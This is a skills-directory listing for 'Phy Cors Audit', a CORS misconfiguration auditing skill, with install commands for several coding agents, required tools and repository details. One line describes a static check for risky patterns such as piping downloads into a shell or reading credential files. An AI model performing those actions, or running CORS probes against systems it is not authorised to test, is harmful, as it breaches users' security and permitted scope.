Patches OpenClaw's Feishu extension so an edited document triggers an isolated agent session that reads the doc and replies inline, turning it into a live chat space.
LeoYeAI/openclaw-master-skills
Multi-context memory management system for OpenClaw agents with group-isolated storage, global shared memory, workspace organization, and group-specific skills isolation.
LeoYeAI/openclaw-master-skills
Runs a brand's AI-search visibility work end to end: diagnosing how AI platforms represent it, repositioning it, producing AI-optimized content and monitoring ongoing mentions.
LeoYeAI/openclaw-master-skills
Installs and authenticates the gws CLI, then automates Gmail, Drive, Sheets, Calendar, Docs, Chat and Tasks with ready-made recipes, persona bundles and security audits.
LeoYeAI/openclaw-master-skills
Runs four advisor roles, a fitness coach, nutritionist, data analyst and TCM practitioner, to build a health profile and track workouts, diet and wellness over time.
Categories
CORS (Cross-Origin Resource Sharing) misconfiguration auditor. Phy Cors Audit is an agent skill from LeoYeAI/openclaw-master-skills. CORS (Cross-Origin Resource Sharing) misconfiguration auditor.
Phy Cors Audit fits situations like: CORS misconfiguration; access-Control-Allow-Origin.
Run `npx skills add LeoYeAI/openclaw-master-skills --skill phy-cors-audit -a claude-code`. Or copy the skill folder (skills/phy-cors-audit in LeoYeAI/openclaw-master-skills) into .claude/skills/phy-cors-audit in your project. Claude Code loads it when a task matches its description.
Run `npx skills add LeoYeAI/openclaw-master-skills --skill phy-cors-audit -a codex`. Or copy the skill folder (skills/phy-cors-audit in LeoYeAI/openclaw-master-skills) into .agents/skills/phy-cors-audit in your project. Codex loads it when a task matches its description.
Cursor, Gemini CLI, GitHub Copilot and OpenCode also load SKILL.md folders. With the skills CLI, run `npx skills add LeoYeAI/openclaw-master-skills --skill phy-cors-audit -a cursor` (or -a gemini-cli, github-copilot or opencode for the others). To copy it by hand, put the folder in .cursor/skills/phy-cors-audit, .gemini/skills/phy-cors-audit, .github/skills/phy-cors-audit and .opencode/skills/phy-cors-audit in your project.
Going by SKILL.md and its folder, Phy Cors Audit needs the command-line tools its instructions call (curl) and credentials named WILDCARD_WITH_CREDENTIALS and CORS_ALLOW_CREDENTIALS. Our summary lists: Python 3.
SKILL.md names 4 domains. In commands or code: completely-unrelated.com, canlah.ai, github.com and clawhub.ai; the agent is likely to contact these when it follows the instructions. This is read from the text; nothing was executed.
Our automated static check of SKILL.md found no risky patterns, such as piping downloads into a shell, reading credential files or hidden Unicode. It is not a guarantee. Review the folder before installing.
Phy Cors Audit is published under the Apache-2.0 licence (declared in SKILL.md). It allows redistribution, so the full SKILL.md is shown on this page.
About 6.7k tokens (SKILL.md is roughly 27k characters). Agents keep only the skill's name and description in context until a task matches; then they load SKILL.md in full.
Skills that share tags, products or a category with Phy Cors Audit: Django Access Review (getsentry/skills, 1k stars), Django Security (affaan-m/ECC, 276k stars), Django Security (affaan-m/ECC, 276k stars) and Django Security (xu-xiang/everything-claude-code-zh, 2k stars). The comparison table on this page puts their stars, adoption, token cost, safety result and licence side by side.
LeoYeAI (a GitHub user) maintains it in LeoYeAI/openclaw-master-skills, which has 2,161 GitHub stars. The repository holds 1,235 skills in this directory. The repository was last updated on July 20, 2026.
Source: LeoYeAI/openclaw-master-skills on GitHub. Facts on this page come from the repository at the commit we read; the author's words are quoted as theirs.